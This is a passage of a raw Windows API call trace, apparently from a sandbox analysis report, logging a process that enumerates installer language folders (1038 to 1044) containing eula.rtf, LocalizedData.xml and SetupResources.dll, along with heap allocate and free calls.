ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.245] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.245] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.245] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.245] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.245] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.245] GetProcessHeap () returned 0x11a0000 [0075.245] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0075.246] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1038", cAlternateFileName="")) returned 1 [0075.246] GetProcessHeap () returned 0x11a0000 [0075.246] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.247] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0075.247] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.247] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0075.247] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0075.247] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0075.247] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0075.247] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0075.247] GetProcessHeap () returned 0x11a0000 [0075.247] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0075.248] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1040", cAlternateFileName="")) returned 1 [0075.248] GetProcessHeap () returned 0x11a0000 [0075.248] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0075.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0077.602] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.602] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.602] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.602] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.602] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.603] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0077.603] GetProcessHeap () returned 0x11a0000 [0077.603] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.603] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1041", cAlternateFileName="")) returned 1 [0077.603] GetProcessHeap () returned 0x11a0000 [0077.603] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.603] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0077.604] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.604] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.604] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.604] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.604] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.604] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0077.604] GetProcessHeap () returned 0x11a0000 [0077.604] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.604] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1042", cAlternateFileName="")) returned 1 [0077.604] GetProcessHeap () returned 0x11a0000 [0077.605] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.605] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0077.605] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.605] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.605] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.605] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.605] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.605] FindClose (in: hFindFile=0x11b9f50 | out: hFindFile=0x11b9f50) returned 1 [0077.605] GetProcessHeap () returned 0x11a0000 [0077.605] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.605] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1043", cAlternateFileName="")) returned 1 [0077.605] GetProcessHeap () returned 0x11a0000 [0077.606] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.606] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0077.606] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.606] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.606] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.606] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.606] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.606] FindClose (in: hFindFile=0x11b9d90 | out: hFindFile=0x11b9d90) returned 1 [0077.606] GetProcessHeap () returned 0x11a0000 [0077.606] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.606] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="1044", cAlternateFileName="")) returned 1 [0077.606] GetProcessHeap () returned 0x11a0000 [0077.607] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0077.607] FindNextFileW (in: hFindFile=0x11ba010, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, 